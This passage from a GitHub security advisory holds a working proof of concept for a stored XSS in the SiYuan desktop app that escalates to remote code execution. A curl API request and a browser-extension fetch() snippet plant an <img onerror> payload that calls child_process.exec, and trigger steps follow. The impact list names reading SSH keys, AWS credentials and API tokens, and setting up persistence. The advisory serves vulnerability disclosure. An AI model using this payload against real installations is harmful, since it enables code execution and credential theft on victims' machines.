Advisory

GHSA-2h64-c999-c9r6

Details, part 2 of 2. The advisory

Details

  1. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's data-node-id in DevTools (Ctrl+Shift+I). Set:
   DOC_ID=<root-block-id-of-the-doc-containing-the-AV>

Step B — Plant the XSS payload as the AV name

The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.

curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{
  "session": "x",
  "app": "siyuan",
  "transactions": [{
    "doOperations": [{
      "action": "setAttrViewName",
      "id": "$AV_ID",
      "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
    }],
    "undoOperations": []
  }]
}
EOF

Expected response:

{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}

Step C — Verify the unescaped storage

python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"

Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):

<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">

Step D — Trigger

In the SiYuan desktop client:

  1. Switch away from the doc that contains the AV (open another doc, or close the tab).
  2. Re-open the doc containing the AV ($DOC_ID).
  3. The AV body header is rendered via genTabHeaderHTML → outerHTML at app/src/protyle/render/av/render.ts:596. The browser parses the <img> tag, fails to load src=x, and fires onerror.
  4. Calculator (or `xcalc` / `open -a Calculator`) launches.

If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():

// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    session: 'x', app: 'siyuan',
    transactions: [{ doOperations: [{
      action: 'setAttrViewName',
      id: '<av-id-discovered-via-prior-recon-fetches>',
      data: `<img src=x onerror="require('child_process').exec('xcalc')">`
    }] }]
  })
});

The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared `.sy.zip` imports, sync replication from a co-author's compromised device.

Cleanup

# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json

# Restart SiYuan to clear in-memory state

Impact

  • RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
  • Persistent — payload survives restart, syncs across devices, rides in .sy.zip exports and Bazaar templates.
  • Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
  • After RCE: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json — kernel API token + AccessAuthCode hash), persistence (.bashrc / Startup folder / LaunchAgent), cloud-account pivot.
  • Attack vectors: browser extensions (chrome-extension:// Origin allowlisted); shared .sy.zip files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.

Sources & licences